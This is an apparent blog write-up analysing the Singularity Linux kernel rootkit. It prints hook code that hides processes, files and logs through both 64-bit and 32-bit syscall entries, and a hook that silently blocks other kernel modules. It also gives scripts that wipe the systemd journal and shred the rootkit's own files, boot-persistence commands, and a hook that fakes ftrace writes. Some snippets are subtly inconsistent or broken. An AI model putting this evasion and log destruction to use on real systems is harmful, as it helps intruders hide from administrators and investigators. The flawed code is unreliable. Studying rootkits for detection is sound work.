One of Singularity’s most important defensive features is its comprehensive support for both the x86_64 and ia32 (32-bit compatibility) syscall interfaces. This dual-architecture approach prevents critical bypass techniques.
Modern 64-bit Linux systems maintain compatibility with 32-bit applications through the ia32 compatibility layer. This allows 32-bit binaries to run perfectly on 64-bit kernels. However, these 32-bit applications use a completely separate syscall entry path.
The Problem: If a rootkit only hooks the 64-bit syscall interface (e.g., __x64_sys_read
), an forensics can simply use 32-bit tools or compile 32-bit binaries to bypass all hooks entirely. 32-bit syscalls flow through __ia32_sys_*
entry points that remain completely unhooked.
Consider an forensics who suspects a rootkit is present:
# Standard 64-bit tools show nothing suspicious
$ ps aux | grep suspicious_process
# (nothing found - process is hidden)
$ ls -la /dev/shm/
# (rootkit files not shown)
# But with a 32-bit binary...
$ file /usr/bin/ps-i386
/usr/bin/ps-i386: ELF 32-bit LSB executable, Intel 80386
$ /usr/bin/ps-i386 aux | grep suspicious_process
root 12345 0.0 0.1 suspicious_process
# (Hidden process is now visible!)
$ ls -i386 -la /dev/shm/
drwxr-xr-x 2 root root singularity/
# (Hidden directory is now visible!)
Figure: Bypassing KoviD rootkit using 32 bits binary
Without ia32 hooks, the whole hiding mechanism collapses when faced with tools compiled in 32-bit.
Singularity installs hooks for both architectures in all critical syscalls:
static struct ftrace_hook hooks[] = {
// Hooks 64-bit
HOOK("__x64_sys_read", hook_read, &orig_read),
HOOK("__x64_sys_getdents64", hook_getdents64, &orig_getdents64),
HOOK("__x64_sys_openat", hook_openat, &orig_openat),
HOOK("__x64_sys_chdir", hook_chdir, &orig_chdir),
HOOK("__x64_sys_readlink", hook_readlink, &orig_readlink),
// Hooks 32-bit
HOOK("__ia32_sys_read", hook_read_ia32, &orig_read_ia32),
HOOK("__ia32_sys_getdents64", hook_getdents64_compat, &orig_getdents64_ia32),
HOOK("__ia32_sys_openat", hook_openat32, &orig_openat32),
HOOK("__ia32_sys_chdir", hook_chdir32, &orig_chdir32),
HOOK("__ia32_sys_readlink", hook_readlink32, &orig_readlink32),
};
The ia32 and x86_64 ABIs use different registers for syscall arguments. Hook implementations should account for this:
x86_64 Syscall Convention:
rdi
(regs->di): 1st argumentrsi
(regs->si): 2nd argumentrdx
(regs->dx): 3rd argumentr10
: 4th argumentr8
: 5th argumentr9
: 6th argumentia32 Syscall Convention:
ebx
(regs->bx): 1st argumentecx
(regs->cx): 2nd argumentedx
(regs->dx): 3rd argumentesi
(regs->si): 4th argumentedi
(regs->di): 5th argumentebp
(regs->bp): 6th argumentThe read()
syscall hooks demonstrate how Singularity handles both architectures:
// 64-bit
static notrace asmlinkage ssize_t hook_read(const struct pt_regs *regs) {
int fd = regs->di; // 1st arg: file descriptor
char __user *user_buf = (char __user *)regs->si; // 2nd arg: buffer
size_t count = regs->dx; // 3rd arg: count
// ... Another logic ...
}
// 32-bit
static notrace asmlinkage ssize_t hook_read_ia32(const struct pt_regs *regs) {
int fd = regs->bx; // 1st arg: file descriptor
char __user *user_buf = (char __user *)regs->cx; // 2nd arg: buffer
size_t count = regs->dx; // 3rd arg: count
// ... The same filter logic...
}
The filtering logic is identical, only the register extraction differs. This pattern repeats in all dual-hooked syscalls.
Figure: Bypass prevention using 32-bit binaries
Singularity implements ia32 hooks for each critical syscall category:
Process Hiding:
getdents
/ getdents64
(directory listing)stat
/ lstat
/ statx
(file metadata)Filesystem Hiding:
openat
(file opening)chdir
(directory navigation)readlink
/ readlinkat
(symlink resolution)Log Sanitization:
read
(log file filtering)Privilege Escalation:
write
(ftrace control file interception)Module Loading Prevention:
init_module
/ finit_module
(blocking additional module loads)The getdents
hooks show the full pattern:
static notrace asmlinkage long hook_getdents64(const struct pt_regs *regs)
{
// 64-bit: buffer in rsi (2nd arg)
long res = orig_getdents64(regs);
if (res <= 0) return res;
return filter_directs((void __user *)regs->si, res, true);
}
static notrace asmlinkage long hook_getdents64_compat(const struct pt_regs *regs)
{
// 32-bit: ebx buffer (1st arg in ia32 convention)
long res = orig_getdents64_ia32(regs);
if (res <= 0) return res;
return filter_dirents((void __user *)regs->bx, res, true);
}
Note: The actual register used depends on whether the kernel remaps arguments internally. The code shows regs->bx
for the ia32 version, suggesting that the buffer pointer ends up in a different location than the standard ia32 ABI would suggest. This highlights the complexity of compatibility layer hooking.
The hook in the write()
syscall prevents ftrace from being disabled, and shows another clear example:
static notrace asmlinkage ssize_t hooked_write_common(const struct pt_regs *regs,
asmlinkage ssize_t (*orig)(const struct pt_regs *),
bool compat32)
{
int fd;
const char __user *user_buf;
size_t count;
if (!compat32) {
// x86_64: di, si, dx
fd = regs->di;
user_buf = (const char __user *)regs->si;
count = regs->dx;
} else {
// ia32: bx, cx, dx
fd = regs->bx;
user_buf = (const char __user *)regs->cx;
count = regs->dx;
}
// ... lógica de filtragem comum ...
}
static notrace asmlinkage ssize_t hooked_write(const struct pt_regs *regs)
{
return hooked_write_common(regs, original_write, false);
}
static notrace asmlinkage ssize_t hooked_write32(const struct pt_regs *regs)
{
return hooked_write_common(regs, original_write32, true);
}
A common implementation function with architecture-specific wrappers appears throughout the Singularity codebase. It reduces code duplication while maintaining correct register handling.
The ia32 compatibility layer isn’t just a theoretical concern:
Forensic Tools: Many security tools exist in 32-bit and 64-bit versions. Forensic distributions often include 32-bit binaries for compatibility with older systems.
Custom Binaries: An investigator can easily compile 32-bit versions of standard tools (ps, ls, netstat) to search for rootkits.
Evasion Testing: Security researchers can use 32-bit binaries to test for rootkits.
Singularity implements several sophisticated anti-forensic measures that go beyond simple hiding. These techniques are designed to hinder analysis and leave minimal traces.
Singularity includes automated log cleaning utilities:
#!/bin/bash
if [[ $EUID -ne 0 ]]; then
echo "Please run this script as root."
exit 1
fi
echo "[*] Cleaning journal logs..."
journalctl --vacuum-time=1s 2>/dev/null || true
journalctl -k --vacuum-time=1s 2>/dev/null || true
journalctl --rotate --vacuum-time=1s --quiet 2>/dev/null || true
echo "Journal logs cleaned."
What This Does:
--vacuum-time=1s
: Deletes all journal entries older than 1 second (effectively everything)journalctl -k
: Targets kernel message logs specifically--rotate
: Forces log rotation before vacuuming2>/dev/null || true
: Suppresses errors and continues even if commands failThis script removes systemd journal entries that would show:
#!/bin/bash
rm -rf .git
rm -rf ftrace
rm -rf include
rm -rf modules
rm -rf scripts
# ... extensive file deletion ...
CD..
sudo find Singularity -type f -exec shred -u {} \;
rm -rf Singularity
echo "[*] Done! [*]"
Multi-Stage Destruction:
shred -u
to overwrite file contents before deletionWhy Shredding Matters:
rm
only removes directory entries; file contents remain on diskshred
performs multiple overwrite passes (default 3) with random data-u
flag removes the file after shreddingThe load_and_persistence.sh
script implements automatic loading at boot:
# Add to modules-load.d
echo "$MODULE_NAME" > "$CONF_DIR/$MODULE_NAME.conf"
# Update module dependencies
depmod
# Copy module to kernel directory
cp "$KO_FILE" "$MODULE_DIR/$MODULE_NAME.ko"
Persistence Techniques:
Module Load Configuration: Writing to /etc/modules-load.d/
ensures that systemd loads the module at boot time.
Module Dependency Database: depmod
updates /lib/modules/$(uname -r)/modules.dep
, making the module appear as a legitimate kernel module.
Default Location: Placing the module in /usr/lib/modules/
gives it the appearance of a distribution-provided module.
Anti-Forensic Aspect: The module appears in standard locations and uses standard loading mechanisms, making it blend in with legitimate kernel modules. Investigators must specifically know what to look for.
Once Singularity is loaded, prevent additional modules from being loaded:
static notrace asmlinkage long hook_init_module(struct file *file, const char *uargs, unsigned long flags) {
return 0; // Silently succeed without actually loading
}
static notrace asmlinkage long hook_finit_module(struct file *file, const char *uargs, unsigned long flags) {
return 0; // Silently succeed without actually loading
}
Purpose:
Behavior: Hooks return success (0) without actually loading the module. The caller thinks the module loaded successfully, but nothing happens. This is more subtle than returning an error, which would immediately alert the caller.
Both ABIs Covered:
HOOK("__x64_sys_init_module", hook_init_module, &hooked_init_module),
HOOK("__ia32_sys_init_module", hook_init_module32, &hooked_init_module32),
HOOK("__x64_sys_finit_module", hook_finit_module, &hooked_finit_module),
HOOK("__ia32_sys_finit_module", hook_finit_module32, &hooked_finit_module32),
Figure: Module loading prevention
Singularity has a feature that involves blocking ftrace from being disabled, to avoid being detected:
static notrace asmlinkage ssize_t hooked_write_common(const struct pt_regs *regs,
asmlinkage ssize_t (*orig)(const struct pt_regs *),
bool compat32)
{
// ... extract arguments ...
const char *name = file->f_path.dentry->d_name.name;
if (strcmp(name, "ftrace_enabled") == 0 || strcmp(name, "tracing_on") == 0) {
// Pretends to write succeeded, but doesn't actually write
return count;
}
return orig(regs);
}
Target Files:
/sys/kernel/debug/tracing/tracing_on
: allows you to enable (1) or disable (0) the recording of events in the kernel trace buffer (ftrace)/proc/sys/kernel/ftrace_enabled
: Enable (1) /disable (0) ftraceEffect: Administrators attempting to enable ftrace for debugging or detection will see their commands succeed, but tracing remains disabled. This prevents:
It also prevents ftrace from being disabled, avoiding detection:
What happens if I try to disable ftrace?:
# cat /proc/sys/kernel/ftrace_enabled
1 (ftrace enabled)
# echo 0 > /proc/sys/kernel/ftrace_enabled (0 = disable ftrace)
# cat /proc/sys/kernel/ftrace_enabled
1
In other words, if you try to disable ftrace, it will always remain at 1 (active).
Figura: preventing ftrace from being disabled
Singularity represents a major advancement in LKM rootkits for modern Linux, demonstrating sophisticated techniques and an architecture that positions it as one of the most complete rootkits available for research purposes.
Key Innovations:
Singularity is not just a rootkit; it is a statement on the current state of the art in Linux kernel post-exploitation and a valuable contribution to the security community. The project is active on GitHub.
Singularity is an excellent example of a modern rootkit. It demonstrates deep technical knowledge. Whether you’re a red teamer learning post-exploitation techniques, a blue teamer studying detection vectors, or a student exploring kernel internals, there are valuable lessons here.
The code is open source, well-documented, and actively maintained. It’s a significant contribution to the security body of knowledge, not because it teaches you how to attack, but because it teaches you how to understand. And understanding is the first step to both better attack and better defense.
In the end, it’s always a continuous dialogue between protection and bypass, hardening and evasion, defense and attack. Singularity represents a shift in this conversation: sophisticated, thoughtful, and technically impressive.
Like all good security work, it makes us ask questions:
And these questions, and their answers, advance the entire field.